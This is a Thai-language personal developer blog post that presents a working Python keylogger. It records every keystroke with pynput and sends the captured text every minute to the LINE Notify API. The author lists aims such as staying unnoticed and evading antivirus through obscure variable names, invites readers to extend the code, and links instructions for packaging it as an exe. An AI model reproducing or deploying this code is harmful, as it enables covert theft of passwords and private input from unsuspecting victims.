ratanon.com - developer

keylogger

วัน ศ.เติมเบียรไปขวด นั้งเขียนโปรแกรมฟังเพลง ไอเดียเต็มหัวไปหมด ไปเจอข่าวนึงคนร้ายรู้รหัสผ่านเหยือ เราก็สงสัยมันเอามายังไงวะ.. ที่นึกออก keylogger keylogger keylogger ต่อๆ ถ้าจะทำ keylogger ให้ลองรับ ทุก os โทรศัพท์ทุกเครื่องมันทำไงวะ คำถามมม

.

รับ code ไป 5555

  • คอนเซ็ปที่นึกไว้
  • เขียนโปรแกรมให้เบาที่สุด เดี๋ยวผิดสังเกตุ
  • หลบแอตนี้ไวรัสให้ได้ ใช้ชื่อตัวแปลอย่าตรงไปตรงมา
  • ส่งข้อมูลออกไปไหนก็ได้อย่าเก็บไว้เครื่อง ออก line ง่ายดี


import sys
import requests
from PySide6.QtCore import QTimer
from PySide6.QtWidgets import QApplication
from pynput import keyboard

LINE_NOTIFY_TOKEN = 'TOKEN'

class Keylogger:
    def __init__(self):
        self.listener = None
        self.cache = []

        # Set up a timer to send messages every 10 minutes (600000 ms)
        self.timer = QTimer()
        self.timer.timeout.connect(self.send_cached_messages)
        self.timer.start(60000)  # 1 minutes

    def on_press(self, key):
        char = None
        try:
            char = key.char
        except AttributeError:
            if key == keyboard.Key.space:
                char = "[SPACE]"
            elif key == keyboard.Key.enter:
                char = "[ENTER]"
            else:
                char = str(key)

        if char:
            self.cache.append(char)

    def send_cached_messages(self):
        if self.cache:
            message = ''.join(self.cache)
            self.send_to_line(message)
            self.cache.clear()

    def send_to_line(self, message):
        url = 'https://notify-api.line.me/api/notify'
        headers = {'Authorization': 'Bearer ' + LINE_NOTIFY_TOKEN}
        payload = {'message': message}
        response = requests.post(url, headers=headers, data=payload)
        if response.status_code != 200:
            print(f"Failed to send message: {response.status_code}, {response.text}")

    def start_keylogger(self):
        self.listener = keyboard.Listener(on_press=self.on_press)
        self.listener.start()

if __name__ == "__main__":
    app = QApplication(sys.argv)
    keylogger = Keylogger()
    keylogger.start_keylogger()
    app.exec()


จริงๆมันเป็นแค่ คอนเซ็ป ต้องมาเขียนอะไรเพิ่มอีกเยอะถ้าจะเอาไปใช้จริง การหลบหลีกอะไรมากมาย ท่ายากที่คนเค้าไม่ทำไรพวกนี้


ผลที่ได้ประมาณนี้ ลองไปต่อยอดดูครับ


ทำไฟล์ให้เป็น exe เอาไปใช้ตามสะดวก

https://ratanon.com/posts/py-tools-exe-setup

0
16